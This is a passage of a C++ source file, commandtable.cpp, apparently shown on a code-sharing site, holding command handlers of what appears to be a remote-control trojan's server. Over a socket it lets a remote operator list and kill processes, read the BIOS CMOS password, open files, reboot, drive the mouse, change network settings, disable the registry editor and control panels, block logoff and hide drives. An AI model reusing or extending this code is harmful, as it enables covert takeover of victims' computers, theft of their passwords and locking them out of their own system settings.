📄 commandtable.cpp
字号:
}
void Cmd_ShowHideWin(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString sTmp = ParamStr[0];
if( CN_ShowHideWindow(sTmp.ToInt()))
{
m_socket->WriteLn(RESULT_SUCCESS);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_EnabledWin(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString sTmp = ParamStr[0];
TCNString Flag = ParamStr[1];
if( CN_EnabledWindow(sTmp.ToInt(),Flag.ToInt()))
{
m_socket->WriteLn(RESULT_SUCCESS);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_GetWindowsList(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString sTmp = ParamStr[0];
sTmp = CN_GetTopLevelWindows(sTmp.ToInt());
if (sTmp != "")
{
m_socket->WriteLn(RESULT_SUCCESS + sTmp);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_ListRunProc(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString sTmp = CN_GetRunProcList();
if (sTmp != "")
{
m_socket->WriteLn(RESULT_SUCCESS + sTmp);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_KillProc(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
if( CN_KillRunProcess(ParamStr[0]) == 0)
{
m_socket->WriteLn(RESULT_SUCCESS);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_GetNetInfo(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString sTmp = CN_GetNetInfo();
m_socket->WriteLn(RESULT_SUCCESS + sTmp);
}
void Cmd_GetCmosPwd(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString sTmp = CN_GetAwardCmosPassword();
m_socket->WriteLn(RESULT_SUCCESS + sTmp);
}
void Cmd_GetEvtStrings(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString sTmp = CN_GetSysEventString();
m_socket->WriteLn(RESULT_SUCCESS + sTmp);
}
void Cmd_SetEvtStrings(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
if( CN_SetSysEvenString(ParamStr[0], ParamStr[1]) )
{
m_socket->WriteLn(RESULT_SUCCESS);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_OpenDoc(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString FileName;
TCNString Mode;
DWORD Flag = 0;
FileName = ParamStr[0];
Mode = ParamStr[1];
Flag = Mode.ToInt();
ShellExecute(0,"OPEN",FileName.c_str(),NULL,NULL,Flag);
m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_Reboot(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString Mode;
DWORD Flag = 0;
Mode = ParamStr[1];
Flag = Mode.ToInt();
m_socket->WriteLn(RESULT_SUCCESS);
ExitWindowsEx(Flag,0);
}
void Cmd_SysInfo(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString sTmp;
char OEMString[13];
int iEAXValue,iEBXValue,iECXValue,iEDXValue;
asm {
.586
mov eax,0
cpuid
mov DWORD PTR OEMString,ebx
mov DWORD PTR OEMString+4,edx
mov DWORD PTR OEMString+8,ecx
mov BYTE PTR OEMString+12,0
}
sTmp = CN_GetWindowInfo() + ";----------CPU INFO----------;";
sTmp += TCNString("CPU OEM :") + OEMString + ";";
asm{
mov eax,1
cpuid
mov iEAXValue,eax
mov iEBXValue,ebx
mov iECXValue,ecx
mov iEDXValue,edx
}
if( iEDXValue & 0x800000)
sTmp += "CPU Support MMX;";
else
sTmp += "CPU not support MMX;";
int iCPUFamily = ((iEAXValue & 0x0f00) >>8);
sTmp += TCNString("CPU Family :") + CN_IntToStr(iCPUFamily) + ";";
asm{
mov eax,2
CPUID
}
if(_AL== 1 )
sTmp += "CPU > PentiumII;";
else
sTmp += "CPU < PentiumII;";
//GetSystemInfo();
//获得内存状态
MEMORYSTATUS memory;
memory.dwLength =sizeof(memory);//初始化
GlobalMemoryStatus(&memory);
sTmp += "----------Memory Info-------;";
sTmp += "Total RAM :" + CN_IntToStr(memory.dwTotalPhys) + ";";
sTmp += "Free RAM :" + CN_IntToStr(memory.dwAvailPhys);
m_socket->WriteLn(RESULT_SUCCESS + sTmp);
}
void Cmd_SetIPAddress(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString IPAddress,IPMask,DefaultGateway;
IPAddress = ParamStr[0];
IPMask = ParamStr[1];
DefaultGateway = ParamStr[2];
if( IPMask == "-1")
IPMask = "";
if( DefaultGateway == "-1")
DefaultGateway = "";
if(CN_SetIPAddress(IPAddress,IPMask,DefaultGateway))
{
m_socket->WriteLn(RESULT_SUCCESS);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_SetComputerName(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
if( SetComputerName(ParamStr[0]))
{
m_socket->WriteLn(RESULT_SUCCESS);
}
else
{
m_socket->WriteLn(RESULT_FAILT);
}
}
void Cmd_CapScreen(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
}
void Cmd_MouseEvent(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString sTmp;
WORD x,y;
DWORD Flags = MOUSEEVENTF_ABSOLUTE;
int ButtonFlag; // 0 bit --Left
// 1 bit---Mid
// 2 bit --Right
// 3 bit --left state 0 - down 1 - up
// 4 bit --mid state
// 5 bit --right state
// 6 bit --only move
tagPOINT p;
GetCursorPos(&p); //取当前位置
sTmp = ParamStr[0];
ButtonFlag = sTmp.ToInt();
sTmp = ParamStr[1];
x = sTmp.ToInt();
sTmp = ParamStr[2];
y = sTmp.ToInt();
if( x != p.x || y != p.y)
{
Flags |= MOUSEEVENTF_MOVE;
SetCursorPos(x,y);
}
if( ButtonFlag & 1)
{
if (GetSystemMetrics(SM_SWAPBUTTON))
Flags |= (ButtonFlag & 0x08)? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP;
else
Flags |= (ButtonFlag & 0x08)? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP;
}
if( ButtonFlag & 2)
{
Flags |= (ButtonFlag & 0x10)? MOUSEEVENTF_MIDDLEDOWN : MOUSEEVENTF_MIDDLEUP;
}
if( ButtonFlag & 4)
{
if (GetSystemMetrics(SM_SWAPBUTTON))
Flags |= (ButtonFlag & 0x20)? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP;
else
Flags |= (ButtonFlag & 0x20)? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP;
}
mouse_event(Flags, x, y, 0, 0);
m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_ShowDesktop(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString Flag;
Flag = ParamStr[0];
CN_ShowDesktop(Flag.ToInt());
m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_SetSysHotKey(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString Flag;
Flag = ParamStr[0];
CN_SetSysHotKey(Flag.ToInt());
m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_EnabledRegedit(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString Flag;
Flag = ParamStr[0];
CN_DisabledRegeidt(Flag.ToInt());
m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_ShowShellTray(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString Flag;
Flag = ParamStr[0];
CN_ShowTray_Shell(Flag.ToInt());
m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_SetPowderState(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString Flag;
Flag = ParamStr[0];
CN_SetPowerState(Flag.ToInt());
m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_NoMouseRight(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString Flag;
Flag = ParamStr[0];
CN_DisableMouseRight(Flag.ToInt());
m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_NoLogOff(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString Flag;
Flag = ParamStr[0];
CN_NoLogOff(Flag.ToInt());
m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_NoDeletePrinter(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString Flag;
Flag = ParamStr[0];
CN_NoDeletePrinter(Flag.ToInt());
m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_NoNetSetup(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString Flag;
Flag = ParamStr[0];
CN_NoNetSetup(Flag.ToInt());
m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_NoProfilePage(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString Flag;
Flag = ParamStr[0];
CN_NoProfilePage(Flag.ToInt());
m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_NoSecCPL(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString Flag;
Flag = ParamStr[0];
CN_NoSecCPL(Flag.ToInt());
m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_NoChangeStartMenu(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString Flag;
Flag = ParamStr[0];
CN_NoChangeStartMenu(Flag.ToInt());
m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_NoSetFolders(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString Flag;
Flag = ParamStr[0];
CN_NoSetFolders(Flag.ToInt());
m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_NoDispCPL(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString Flag;
Flag = ParamStr[0];
CN_NoDispCPL(Flag.ToInt());
m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_HideDrivers(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
TCNString Flag;
Flag = ParamStr[0];
CN_HideDrivers(Flag.ToInt());
m_socket->WriteLn(RESULT_SUCCESS);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -